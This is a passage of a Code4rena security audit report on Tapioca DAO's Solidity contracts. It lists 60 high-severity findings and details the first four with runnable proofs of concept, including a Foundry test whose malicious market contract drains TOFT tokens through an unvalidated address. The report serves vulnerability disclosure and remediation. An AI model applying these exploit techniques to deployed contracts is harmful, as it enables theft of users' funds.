Tapioca DAO
Findings & Analysis Report
2023-11-16
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] TOFT in (m)TapiocaOft contracts can be stolen by calling removeCollateral() with a malicious removeParams.market
- [H-02]
exitPosition
inTapiocaOptionBroker
may incorrectly inflate position weights - [H-03] The amount of debt removed during
liquidation
may be worth more than the account’s collateral - [H-04] Incorrect solvency check because it multiplies collateralizationRate by share not amount when calculating liquidation threshold
- [H-05] Ability to steal user funds and increase collateral share infinitely in BigBang and Singularity
- [H-06] BalancerStrategy
_withdraw
usesBPT_IN_FOR_EXACT_TOKENS_OUT
which can be attack to cause loss to all depositors - [H-07] Usage of
BalancerStrategy.updateCache
will cause single sided Loss, discount to Depositor and to OverBorrow from Singularity - [H-08]
LidoEthStrategy._currentBalance
is subject to price manipulation, allows overborrowing and liquidations - [H-09]
TricryptoLPStrategy.compoundAmount
always returns 0 because it’s using staticall vs call - [H-10] Liquidated USDO from BigBang not being burned after liquidation inflates USDO supply and can threaten peg permanently
- [H-11] TOFT
exerciseOption
can be used to steal all underlying erc20 tokens - [H-12] TOFT
removeCollateral
can be used to steal all the balance - [H-13] TOFT
triggerSendFrom
can be used to steal all the balance - [H-14] All assets of (m)TapiocaOFT can be stealed by depositing to strategy cross chain call with 1 amount but maximum shares possible
- [H-15] Attacker can specify any
receiver
inUSD0.flashLoan()
to drainreceiver
balance - [H-16] Attacker can block LayerZero channel due to variable gas cost of saving payload
- [H-17] Attacker can block LayerZero channel due to missing check of minimum gas passed
- [H-18]
multiHopSellCollateral()
will fail due to call on an invalid market address causing bridged collateral to be locked up - [H-19]
twTAP.participate()
can be permanently frozen due to lack of access control on host-chain-only operations - [H-20]
_liquidateUser()
should not re-use the same minimum swap amount out for multiple liquidation - [H-21] Incorrect liquidation reward computation causes excess liquidator rewards to be given
- [H-22] Lack of safety buffer between liquidation threshold and LTV ratio for borrowers to prevent unfair liquidations
- [H-23] Refund mechanism for failed cross-chain transactions does not work
- [H-24] Incorrect formula used in function
Market.computeClosingFactor()
- [H-25] Overflow risk in Market contract
- [H-26] Not enough TAP tokens to exercise if a user participates and exercises in the same epoch
- [H-27] Attacker can pass duplicated reward token addresses to steal the reward of contract
twTAP.sol
- [H-28] TOFT and USDO Modules Can Be Selfdestructed
- [H-29] Exercise option cross chain message in the (m)TapiocaOFT will always revert in the destination, losing debited funds in the source chain
- [H-30]
utilization
for_getInterestRate()
does not factor in interest - [H-31] Collateral can be locked in BigBang contract when
debtStartPoint
is nonzero - [H-32] Reentrancy in
USDO.flashLoan()
, enabling an attacker to borrow unlimited USDO exceeding the max borrow limit - [H-33]
BaseTOFTLeverageModule.sol
:leverageDownInternal
tries to burn tokens from wrong address - [H-34]
BaseTOFT.sol
:retrieveFromStrategy
can be used to manipulate other user’s positions due to absent approval check - [H-35]
BaseTOFT.sol
:removeCollateral
can be used to manipulate other user’s positions and steal tokens due to absent approval check - [H-36]
twTAP.sol
: Reward tokens stored in index 0 can be stolen - [H-37] Liquidation transactions can potentially fail for all markets
- [H-38] Magnetar contract has no approval checking
- [H-39]
AaveStrategy.sol
: Changing swapper breaks the contract - [H-40]
BalancerStrategy.sol
:_withdraw
withdraws insufficient tokens - [H-41] Rewards compounded in AaveStrategy are unredeemable
- [H-42] Attacker can steal victim’s oTAP position contents via
MagnetarMarketModule#_exitPositionAndRemoveCollateral()
- [H-43] Accounted balance of GlpStrategy does not match withdrawable balance, allowing for attackers to steal unclaimed rewards
- [H-44]
BigBang::repay
andSingularity::repay
spend more than allowed amount - [H-45]
SGLLiquidation::_computeAssetAmountToSolvency
,Market::_isSolvent
andMarket::_computeMaxBorrowableAmount
may overestimate the collateral, resulting in false solvency - [H-46] TOFT leverageDown always fails if TOFT is a wrapper for native tokens
- [H-47] User’s assets can be stolen when removing them from the Singularity market through the Magnetar contract
- [H-48] triggerSendFrom() will send all the ETH in the destination chain where sendFrom() is called to the refundAddress in the LzCallParams argument
- [H-49] User can give himself approval for all assets held by
MagnetarV2
contract - [H-50] CompoundStrategy attempts to transfer out a greater amount of ETH than will actually be withdrawn, leading to DoS
- [H-51] Funds are locked because borrowFee is not correctly implemented in BigBang
- [H-52] Attacker can prevent rewards from being issued to gauges for a given epoch in TapiocaOptionBroker
- [H-53] Potential 99.5% loss in
emergencyWithdraw()
of two Yieldbox strategies - [H-54] Anybody can buy collateral on behalf of other users without having any allowance using the multiHopBuyCollateral()
- [H-55]
_sendToken
implementation inBalancer.sol
is wrong which will make the underlying erc20 be send to a random address and lost - [H-56] Tokens can be stolen from other users who have approved Magnetar
- [H-57] twAML::participate - reentrancy via _safeMint can be used to brick reward distribution
- [H-58] A user with a TapiocaOFT allowance >0 could steal all the underlying ERC20 tokens of the owner
- [H-59] The BigBang contract take more fees than it should
- [H-60] twTAP.claimAndSendRewards() will claim the wrong amount for each reward token due to the use of wrong index
- Medium Risk Findings (99)
- Low Risk and Non-Critical Issues
- Gas Optimizations
- Audit Analysis
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Tapioca DAO smart contract system written in Solidity. The audit took place between July 5—August 4 2023.
Wardens
134 Wardens contributed reports to the Tapioca DAO:
- GalloDaSballo
- peakbolt
- KIntern_NA (duc and TrungOre)
- windhustler
- carrotsmuggler
- 0x73696d616f
- zzzitron
- kaden
- cergyk
- ItsNio
- rvierdiiev
- Ack (plotchy, popular00, and igorline)
- Vagner
- dirk_y
- xuwinnie
- 0xStalin
- Koolex
- bin2chen
- ladboy233
- SaeedAlipoor01988
- 0xRobocop
- mojito_auditor
- HE1M
- Sathish9098
- Madalad
- 0xSmartContract
- zzebra83
- 0xWaitress
- chaduke
- unsafesol (Angry_Mustache_Man and devblixt)
- n1punp
- 0xnev
- 0x007
- c7e7eff
- hunter_w3b
- K42
- JCK
- minhtrng
- cryptonue
- ayeslick
- 7e1e
- erebus
- LosPollosHermanos (jc1 and scaraven)
- 0xTheC0der
- BPZ (Bitcoinfever244, PrasadLak, and zinc42)
- adeolu
- glcanvas
- zhaojie
- Rolezn
- naman1778
- ReyAdmirado
- dharma09
- 0xfuje
- Ruhum
- jasonxiale
- plainshift (thank_you and surya)
- 0xrugpull_detector
- jaraxxus
- Udsen
- wahedtalash77
- mgf15
- kodyvim
- RedOneN
- Kaysoft
- kutugu
- Nyx
- ltyu
- rokinot
- 0xG0P1
- andy
- hassan-truscova
- nadin
- gizzy
- Breeje
- DelerRH
- hendrik
- Raihan
- paweenp
- Brenzee
- vagrant
- ak1
- clash
- marcKn
- tsvetanovv
- Limbooo
- SY_S
- petrichor
- ybansal2403
- 0xhex
- 0xta
- flutter_developer
- SAQ
- xfu
- LeoS
- IllIllI
- wangxx2026
- dontonka
- hack3r-0m
- pks_
- offside0011
- CrypticShepherd
- ACai
- 0xSky
- ck
- iglyx
- John_Femi
- Walter
- Deekshith99
- SPYBOY
- JP_Courses
- Z3R0
- audityourcontracts
- l3r0ux
- Tatakae (SaharDevep and mahdikarimi)
- kaveyjoe
- hals
- SooYa
- CryptoYulia
- ABA
- catwhiskeys
- rumen
- 0xadrii
- Topmark
- Oxsadeeq
- TiesStevelink
This audit was judged by LSDan.
Final report assembled by PaperParachute.
Summary
The C4 analysis yielded an aggregated total of 159 unique vulnerabilities. Of these vulnerabilities, 60 received a risk rating in the category of HIGH severity and 99 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 79 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 19 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Tapioca DAO repository, and is composed of 68 smart contracts written in the Solidity programming language and includes 13291 lines of Solidity code.
In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, IllIllI-bot from warden IllIllI, generated the Automated Findings report and all findings therein were classified as out of scope.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (60)
[H-01] TOFT in (m)TapiocaOft contracts can be stolen by calling removeCollateral() with a malicious removeParams.market
Submitted by 0x73696d616f
The TOFT
available in the TapiocaOFT
contract can be stolen when calling removeCollateral()
with a malicious market.
Proof of Concept
(m)TapiocaOFT
inherit BaseTOFT
, which has a function removeCollateral()
that accepts a market address as an argument. This function calls _lzSend()
internally on the source chain, which then is forwarded to the destination chain by the relayer and calls lzReceive()
.
lzReceive()
reaches _nonBlockingLzReceive()
in BaseTOFT
and delegate calls to the BaseTOFTMarketModule
on function remove()
. This function approves TOFT
to the removeParams.market
and then calls function removeCollateral()
of the provided market. There is no validation whatsoever in this address, such that a malicious market can be provided that steals all funds, as can be seen below:
function remove(bytes memory _payload) public {
...
approve(removeParams.market, removeParams.share); // no validation prior to this 2 calls
IMarket(removeParams.market).removeCollateral(
to,
to,
removeParams.share
);
...
}
The following POC in Foundry demonstrates this vulnerability, the attacker is able to steal all TOFT
in mTapiocaOFT
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTMarketModule} from "contracts/tOFT/modules/BaseTOFTMarketModule.sol";
import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOFT} from "tapioca-periph/contracts/interfaces/ITapiocaOFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MaliciousMarket {
address public immutable attacker;
address public immutable tapiocaOft;
constructor(address attacker_, address tapiocaOft_) {
attacker = attacker_;
tapiocaOft = tapiocaOft_;
}
function removeCollateral(address, address, uint256 share) external {
IERC20(tapiocaOft).transferFrom(msg.sender, attacker, share);
}
}
contract TapiocaOFTPOC is Test {
address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
uint16 internal constant PT_MARKET_REMOVE_COLLATERAL = 772;
function test_POC_StealAllAssetsInTapiocaOFT_RemoveCollateral_MaliciousMarket()
public
{
vm.createSelectFork("https://eth.llamarpc.com");
address marketModule_ = address(
new BaseTOFTMarketModule(
address(LZ_ENDPOINT),
address(0),
IYieldBoxBase(address(2)),
"SomeName",
"SomeSymbol",
18,
block.chainid
)
);
TapiocaOFT tapiocaOft_ = new TapiocaOFT(
LZ_ENDPOINT,
address(0),
IYieldBoxBase(address(3)),
"SomeName",
"SomeSymbol",
18,
block.chainid,
payable(address(1)),
payable(address(2)),
payable(marketModule_),
payable(address(4))
);
// TOFT is acummulated in the TapiocaOft contract and can be stolen by the malicious market
// for example, strategyDeposit of the BaseTOFTMarketModule credits TOFT to tapiocaOft
uint256 tOftInTapiocaOft_ = 1 ether;
deal(address(tapiocaOft_), address(tapiocaOft_), tOftInTapiocaOft_);
address attacker_ = makeAddr("attacker");
deal(attacker_, 1 ether); // lz fees
uint16 lzDstChainId_ = 102;
address zroPaymentAddress_ = address(0);
ICommonData.IWithdrawParams memory withdrawParams_;
ITapiocaOFT.IRemoveParams memory removeParams_;
removeParams_.share = tOftInTapiocaOft_;
removeParams_.market = address(new MaliciousMarket(attacker_, address(tapiocaOft_)));
ICommonData.IApproval[] memory approvals_;
bytes memory adapterParams_;
tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));
vm.prank(attacker_);
tapiocaOft_.removeCollateral{value: 1 ether}(
attacker_,
attacker_,
lzDstChainId_,
zroPaymentAddress_,
withdrawParams_,
removeParams_,
approvals_,
adapterParams_
);
bytes memory lzPayload_ = abi.encode(
PT_MARKET_REMOVE_COLLATERAL,
attacker_,
attacker_,
bytes32(bytes20(attacker_)),
removeParams_,
withdrawParams_,
approvals_
);
vm.prank(LZ_ENDPOINT);
tapiocaOft_.lzReceive(lzDstChainId_, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
assertEq(tapiocaOft_.balanceOf(attacker_), tOftInTapiocaOft_);
}
}
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
Whitelist the removeParams.market
address to prevent users from providing malicious markets.
[H-02] exitPosition
in TapiocaOptionBroker
may incorrectly inflate position weights
Submitted by ItsNio, also found by KIntern_NA
Users who participate()
and place stakes with large magnitudes may have their weight removed prematurely from pool.cumulative
, hence causing the weight logic of participation to be wrong. pool.cumulative
will have an incomplete image of the actual pool hence allowing future users to have divergent power when they should not. In particular, this occurs during the exitPosition()
function.
Proof of Concept
This vulnerability stems from exitPosition()
using the current pool.AverageMagnitude
instead of the respective magnitudes of the user’s weights to update pool.cumulative
on line 316. Hence, when users call exitPosition()
, the amount that pool.cumulative
is updated but may not be representative of the weight of the user’s input.
Imagine if we have three users, Alice, Bob, and Charlie who all decide to call participate()
. Alice calls participate()
with a smaller amount and a smaller time, hence having a weight of 10. Bob calls participate()
with a larger amount and a larger time, hence having a weight of 50. Charlie calls participate()
with a weight of 20.
Scenario
- Alice calls
participate()
first at time 0 with the aforementioned amount and time. Thepool.cumulative
is now 10 and thepool.AverageMagnitude
is 10 as well. Alice’s position will expire at time 10. - Bob calls
participate()
at time 5. Thepool.cumulative
is now 10 + 50 = 60 and thepool.AverageMagnitude
is 50. - Alice calls
exitPosition()
at time 10.pool.cumulative
is 60, butpool.AverageMagnitude
is still 50. Hence,pool.cumulative
will be decreased by 50, even though the weight of Alice’s input is 10. - Charlie calls
participate
with weight 20. Charlie will have divergent power in the pool with both Bob and Charlie, since 20 >pool.cumulative
(10).
If Alice does not participate at all, Charlie will not have divergent power in a pool with Bob and Charlie, since the pool.cumulative
= Bob’s weight = 50 > Charlie’s weight (20).
We have provided a test to demonstrate the pool.cumulative
inflation. Copy the following code intotap-token-audit/test/oTAP/tOB.test.ts
as one of the tests.
it('POC', async () => {
const {
signer,
tOLP,
tOB,
tapOFT,
sglTokenMock,
sglTokenMockAsset,
yieldBox,
oTAP,
} = await loadFixture(setupFixture);
// Setup tOB
await tOB.oTAPBrokerClaim();
await tapOFT.setMinter(tOB.address);
// Setup - register a singularity, mint and deposit in YB, lock in tOLP
const amount = 3e10;
const lockDurationA = 10;
const lockDurationB = 100;
await tOLP.registerSingularity(
sglTokenMock.address,
sglTokenMockAsset,
0,
);
await sglTokenMock.freeMint(amount);
await sglTokenMock.approve(yieldBox.address, amount);
await yieldBox.depositAsset(
sglTokenMockAsset,
signer.address,
signer.address,
amount,
0,
);
const ybAmount = await yieldBox.toAmount(
sglTokenMockAsset,
await yieldBox.balanceOf(signer.address, sglTokenMockAsset),
false,
);
await yieldBox.setApprovalForAll(tOLP.address, true);
//A (short less impact)
console.log(ybAmount);
await tOLP.lock(
signer.address,
sglTokenMock.address,
lockDurationA,
ybAmount.div(100),
);
//B (long, big impact)
await tOLP.lock(
signer.address,
sglTokenMock.address,
lockDurationB,
ybAmount.div(2),
);
const tokenID = await tOLP.tokenCounter();
const snapshot = await takeSnapshot();
console.log("A Duration: ", lockDurationA, " B Duration: ", lockDurationB);
// Just A Participate
console.log("Just A participation");
await tOLP.approve(tOB.address, tokenID.sub(1));
await tOB.participate(tokenID.sub(1));
const participationA = await tOB.participants(tokenID.sub(1));
const oTAPTknID = await oTAP.mintedOTAP();
await time.increase(lockDurationA);
const prevPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[B4] Just A Cumulative: ", await prevPoolState.cumulative);
console.log("[B4] Just A Average: ", participationA.averageMagnitude);
await oTAP.approve(tOB.address, oTAPTknID);
await tOB.exitPosition(oTAPTknID);
console.log("Exit A position");
const newPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[A4] Just A Cumulative: ", await newPoolState.cumulative);
console.log("[A4] Just A Average: ", await participationA.averageMagnitude);
//Both Participations
console.log();
console.log("Run both participation---");
const ctime1 = new Date();
console.log("Time: ", ctime1);
//A and B Participate
await snapshot.restore();
//Before everything
const initPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[IN] Initial Cumulative: ", await initPoolState.cumulative);
//First participate A
await tOLP.approve(tOB.address, tokenID.sub(1));
await tOB.participate(tokenID.sub(1));
const xparticipationA = await tOB.participants(tokenID.sub(1));
const ATknID = await oTAP.mintedOTAP();
console.log("Participate A (smaller weight)");
console.log("[ID] A Token ID: ", ATknID);
const xprevPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[B4] Both A Cumulative: ", await xprevPoolState.cumulative);
console.log("[B4] Both A Average: ", await xparticipationA.averageMagnitude);
console.log();
//Time skip to half A's duration
await time.increase(5);
const ctime2 = new Date();
console.log("Participate B (larger weight), Time(+5): ", ctime2);
//Participate B
await tOLP.approve(tOB.address, tokenID);
await tOB.participate(tokenID);
const xparticipationB = await tOB.participants(tokenID);
const BTknID = await oTAP.mintedOTAP();
console.log("[ID] B Token ID: ", ATknID);
const xbothPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[B4] Both AB Cumulative: ", await xbothPoolState.cumulative);
console.log("[B4] Both B Average: ", await xparticipationB.averageMagnitude);
//Time skip end A
await time.increase(6);
await oTAP.approve(tOB.address, ATknID);
await tOB.exitPosition(ATknID);
const exitAPoolState = await tOB.twAML(sglTokenMockAsset);
const ctime3 = new Date();
console.log();
console.log("Exit A (Dispraportionate Weight, Time(+6 Expire A): ", ctime3);
console.log("[!X!] Just B Cumulative: ", await exitAPoolState.cumulative);
console.log("[A4] Just B Average: ", xparticipationB.averageMagnitude);
//TIme skip end B
await time.increase(lockDurationB);
await oTAP.approve(tOB.address, BTknID);
await tOB.exitPosition(BTknID);
const exitBPoolState = await tOB.twAML(sglTokenMockAsset);
const ctime4 = new Date();
console.log("Exit B, Time(+100 Expire B): ", ctime4);
console.log("[A4] END Cumulative: ", await exitBPoolState.cumulative);
});
This test runs the aforementioned scenario.
Expected Output:
BigNumber { value: "30000000000" }
A Duration: 10 B Duration: 100
Just A participation
[B4] Just A Cumulative: BigNumber { value: "10" }
[B4] Just A Average: BigNumber { value: "10" }
Exit A position
[A4] Just A Cumulative: BigNumber { value: "0" }
[A4] Just A Average: BigNumber { value: "10" }
Run both participation---
Time: 2023-08-03T21:40:52.700Z
[IN] Initial Cumulative: BigNumber { value: "0" }
Participate A (smaller weight)
[ID] A Token ID: BigNumber { value: "1" }
[B4] Both A Cumulative: BigNumber { value: "10" }
[B4] Both A Average: BigNumber { value: "10" }
Participate B (larger weight), Time(+5): 2023-08-03T21:40:52.801Z
[ID] B Token ID: BigNumber { value: "1" }
[B4] Both AB Cumulative: BigNumber { value: "60" }
[B4] Both B Average: BigNumber { value: "50" }
Exit A (Dispraportionate Weight, Time(+6 Expire A): 2023-08-03T21:40:52.957Z
[!X!] Just B Cumulative: BigNumber { value: "10" }
[A4] Just B Average: BigNumber { value: "50" }
Exit B, Time(+100 Expire B): 2023-08-03T21:40:53.029Z
[A4] END Cumulative: BigNumber { value: "0" }
✔ POC (1077ms)
The POC is split into two parts:
The first part starting with Just A Participation
is when just A enters and exits. This is correct, with the pool.cumulative
increasing by 10 (the weight of A) and then being decreased by 10 when A exits.
The second part starting with Run both participation---
describes the scenario mentioned by the bullet points. In particular, the pool.cumulative
starts as 0 ([IN] Initial Cumulative
).
Then, A enters the pool, and the pool.cumulative
is increased to 10 ([B4] Both A Cumulative
) similar to the first part.
Then, B enters the pool, before A exits. B has a weight of 50, thus the pool.cumulative
increases to 60 ([B4] Both AB Cumulative
).
The bug can be seen after the line beginning with [!X!]
. The pool.cumulative
labeled by “Just B Cumulative” is decreased by 60 - 10 = 50 when A exits, although the weight of A is only 10.
Recommended Mitigation Steps
There may be a need to store weights at the time of adding a weight instead of subtracting the last computed weight in exitPosition()
. For example, when Alice calls participate()
, the weight at that time is stored and removed when exitPosition()
is called.
[H-03] The amount of debt removed during liquidation
may be worth more than the account’s collateral
Submitted by ItsNio
The contract decreases user’s debts but may not take the full worth in collateral from the user, leading to the contract losing potential funds from the missing collateral.
Proof of concept
During the liquidate()
function call, the function _updateBorrowAndCollateralShare()
is eventually invoked. This function liquidates a user’s debt and collateral based on the value of the collateral they own.
In particular, the equivalent amount of debt, availableBorrowPart
is calculated from the user’s collateral on line 225 through the computeClosingFactor()
function call.
Then, an additional fee through the liquidationBonusAmount
is applied to the debt, which is then compared to the user’s debt on line 240. The minimum of the two is assigned borrowPart
, which intuitively means the maximum amount of debt that can be removed from the user’s debt.
borrowPart
is then increased by a bonus through liquidationMultiplier
, and then converted to generate collateralShare
, which represents the amount of collateral equivalent in value to borrowPart
(plus some fees and bonus).
This new collateralShare
may be more than the collateral that the user owns. In that case, the collateralShare
is simply decreased to the user’s collateral.
collateralShare
is then removed from the user’s collateral.
The problem lies in that although the collateralShare
is equivalent to the borrowPart
, or the debt removed from the user’s account, it could be worth more than the collateral that the user owns in the first place. Hence, the contract loses out on funds, as debt is removed for less than it is actually worth.
To demonstrate, we provide a runnable POC.
Preconditions
...
if (collateralShare > userCollateralShare[user]) {
require(false, "collateralShare and borrowPart not worth the same"); //@audit add this line
collateralShare = userCollateralShare[user];
}
userCollateralShare[user] -= collateralShare;
...
Add the require
statement to line 261. This require statement essentially reverts the contract when the if
condition satisfies. The if
condition holds true when the collateralShare
is greater that the user’s collateral, which is the target bug.
Once the changes have been made, add the following test into the singularity.test.ts
test in tapioca-bar-audit/test
Code
it('POC', async () => {
const {
usdc,
wbtc,
yieldBox,
wbtcDepositAndAddAsset,
usdcDepositAndAddCollateralWbtcSingularity,
eoa1,
approveTokensAndSetBarApproval,
deployer,
wbtcUsdcSingularity,
multiSwapper,
wbtcUsdcOracle,
__wbtcUsdcPrice,
} = await loadFixture(register);
const assetId = await wbtcUsdcSingularity.assetId();
const collateralId = await wbtcUsdcSingularity.collateralId();
const wbtcMintVal = ethers.BigNumber.from((1e8).toString()).mul(1);
const usdcMintVal = wbtcMintVal
.mul(1e10)
.mul(__wbtcUsdcPrice.div((1e18).toString()));
// We get asset
await wbtc.freeMint(wbtcMintVal);
await usdc.connect(eoa1).freeMint(usdcMintVal);
// We approve external operators
await approveTokensAndSetBarApproval();
await approveTokensAndSetBarApproval(eoa1);
// We lend WBTC as deployer
await wbtcDepositAndAddAsset(wbtcMintVal);
expect(
await wbtcUsdcSingularity.balanceOf(deployer.address),
).to.be.equal(await yieldBox.toShare(assetId, wbtcMintVal, false));
// We deposit USDC collateral
await usdcDepositAndAddCollateralWbtcSingularity(usdcMintVal, eoa1);
expect(
await wbtcUsdcSingularity.userCollateralShare(eoa1.address),
).equal(await yieldBox.toShare(collateralId, usdcMintVal, false));
// We borrow 74% collateral, max is 75%
console.log("Collateral amt: ", usdcMintVal);
const wbtcBorrowVal = usdcMintVal
.mul(74)
.div(100)
.div(__wbtcUsdcPrice.div((1e18).toString()))
.div(1e10);
console.log("WBTC borrow val: ", wbtcBorrowVal);
console.log("[$] Original price: ", __wbtcUsdcPrice.div((1e18).toString()));
await wbtcUsdcSingularity
.connect(eoa1)
.borrow(eoa1.address, eoa1.address, wbtcBorrowVal.toString());
await yieldBox
.connect(eoa1)
.withdraw(
assetId,
eoa1.address,
eoa1.address,
wbtcBorrowVal,
0,
);
const data = new ethers.utils.AbiCoder().encode(['uint256'], [1]);
// Can't liquidate
await expect(
wbtcUsdcSingularity.liquidate(
[eoa1.address],
[wbtcBorrowVal],
multiSwapper.address,
data,
data,
),
).to.be.reverted;
console.log("Price Drop: 120%");
const priceDrop = __wbtcUsdcPrice.mul(40).div(100);
await wbtcUsdcOracle.set(__wbtcUsdcPrice.add(priceDrop));
await wbtcUsdcSingularity.updateExchangeRate()
console.log("Running liquidation... ");
await expect(
wbtcUsdcSingularity.liquidate(
[eoa1.address],
[wbtcBorrowVal],
multiSwapper.address,
data,
data,
),
).to.be.revertedWith("collateralShare and borrowPart not worth the same");
console.log("[*] Reverted with reason: collateralShare and borrowPart not worth the same [Bug]");
//console.log("Collateral Share after liquidation: ", (await wbtcUsdcSingularity.userCollateralShare(eoa1.address)));
//console.log("Borrow part after liquidation: ", (await wbtcUsdcSingularity.userBorrowPart(eoa1.address)));
});
Expected Result
Collateral amt: BigNumber { value: "10000000000000000000000" }
WBTC borrow val: BigNumber { value: "74000000" }
[$] Original price: BigNumber { value: "10000" }
Price Drop: 120%
Running liquidation...
[*] Reverted with reason: collateralShare and borrowPart not worth the same [Bug]
✔ POC (2289ms)
As demonstrated, the function call reverts due to the require
statement added in the preconditions.
Recommended Mitigation
One potential mitigation for this issue would be to calculate the borrowPart
depending on the existing users’ collateral factoring in the fees and bonuses. The collateralShare
with the fees and bonuses should not exceed the user’s collateral.
cryptotechmaker (Tapioca) confirmed
[H-04] Incorrect solvency check because it multiplies collateralizationRate by share not amount when calculating liquidation threshold
Submitted by Koolex
When a Collateralized Debt Position (CDP) reaches that liquidation threshold, it becomes eligible for liquidation and anyone can repay a position in exchange for a portion of the collateral.
Market._isSolvent
is used to check if the user is solvent. if not, then it can be liquidated. Here is the method body:
function _isSolvent(
address user,
uint256 _exchangeRate
) internal view returns (bool) {
// accrue must have already been called!
uint256 borrowPart = userBorrowPart[user];
if (borrowPart == 0) return true;
uint256 collateralShare = userCollateralShare[user];
if (collateralShare == 0) return false;
Rebase memory _totalBorrow = totalBorrow;
return
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
) >=
// Moved exchangeRate here instead of dividing the other side to preserve more precision
(borrowPart * _totalBorrow.elastic * _exchangeRate) /
_totalBorrow.base;
}
The issue is that the collateralizationRate is multiplied by collateralShare (with precision constants) then converted to amount. This is incorrect, the collateralizationRate sholud be used with amounts and not shares. Otherwise, we get wrong results.
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
)
Please note that when using shares it is not in favour of the protocol, so amounts should be used instead. The only case where this is ok, is when the share/amount ratio is 1:1 which can not be, because totalAmount always get +1 and totalShares +1e8 to prevent 1:1 ratio type of attack.
function _toAmount(
uint256 share,
uint256 totalShares_,
uint256 totalAmount,
bool roundUp
) internal pure returns (uint256 amount) {
// To prevent reseting the ratio due to withdrawal of all shares, we start with
// 1 amount/1e8 shares already burned. This also starts with a 1 : 1e8 ratio which
// functions like 8 decimal fixed point math. This prevents ratio attacks or inaccuracy
// due to 'gifting' or rebasing tokens. (Up to a certain degree)
totalAmount++;
totalShares_ += 1e8;
Moreover, in the method _computeMaxAndMinLTVInAsset
which is supposed to returns the min and max LTV for user in asset price. Amount is used and not share. Here is the code:
function _computeMaxAndMinLTVInAsset(
uint256 collateralShare,
uint256 _exchangeRate
) internal view returns (uint256 min, uint256 max) {
uint256 collateralAmount = yieldBox.toAmount(
collateralId,
collateralShare,
false
);
max = (collateralAmount * EXCHANGE_RATE_PRECISION) / _exchangeRate;
min = (max * collateralizationRate) / FEE_PRECISION;
}
I’ve set this to high severity because solvency check is a crucial part of the protocol. In short, we have :
- Inconsistency across the protocol
- Inaccuracy of calculating the liquidation threshold
- Not in favour of the protocol
Note: this is also applicable for ohter methods. For example, Market._computeMaxBorrowableAmount
.
Proof of Concept
- When you run the PoC below, you will get the following results:
[PASS] test_borrow_repay() (gas: 118001)
Logs:
===BORROW===
UserBorrowPart: 745372500000000000000
Total Borrow Base: 745372500000000000000
Total Borrow Elastic: 745372500000000000000
===356 days passed===
Total Borrow Elastic: 749089151896269477984
===Solvency#1 => multiply by share===
A: 749999999999925000000750007499999924999
B: 749089151896269477984000000000000000000
===Solvency#2 => multiply by amount===
A: 749999999999925000000750000000000000000
B: 749089151896269477984000000000000000000
===Result===
Solvency#1.A != Solvency#2.A
Test result: ok. 1 passed; 0 failed; finished in 16.69ms
As you can see, numbers are not equal, and when using shares it is not in favour of the protocol, so amount should be used instead.
- Code: Please note some lines in borrow method were commented out for simplicity. It is irrelevant anyway.
_toAmount
copied from YieldBoxRebase
// PoC => BIGBANG - Solvency Check Inaccuracy
// Command => forge test -vv
pragma solidity >=0.8.4 <0.9.0;
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
import {DSTest} from "ds-test/test.sol";
struct AccrueInfo {
uint64 debtRate;
uint64 lastAccrued;
}
struct Rebase {
uint128 elastic;
uint128 base;
}
/// @notice A rebasing library using overflow-/underflow-safe math.
library RebaseLibrary {
/// @notice Calculates the base value in relationship to `elastic` and `total`.
function toBase(
Rebase memory total,
uint256 elastic,
bool roundUp
) internal pure returns (uint256 base) {
if (total.elastic == 0) {
base = elastic;
} else {
base = (elastic * total.base) / total.elastic;
if (roundUp && (base * total.elastic) / total.base < elastic) {
base++;
}
}
}
/// @notice Calculates the elastic value in relationship to `base` and `total`.
function toElastic(
Rebase memory total,
uint256 base,
bool roundUp
) internal pure returns (uint256 elastic) {
if (total.base == 0) {
elastic = base;
} else {
elastic = (base * total.elastic) / total.base;
if (roundUp && (elastic * total.base) / total.elastic < base) {
elastic++;
}
}
}
/// @notice Add `elastic` to `total` and doubles `total.base`.
/// @return (Rebase) The new total.
/// @return base in relationship to `elastic`.
function add(
Rebase memory total,
uint256 elastic,
bool roundUp
) internal pure returns (Rebase memory, uint256 base) {
base = toBase(total, elastic, roundUp);
total.elastic += uint128(elastic);
total.base += uint128(base);
return (total, base);
}
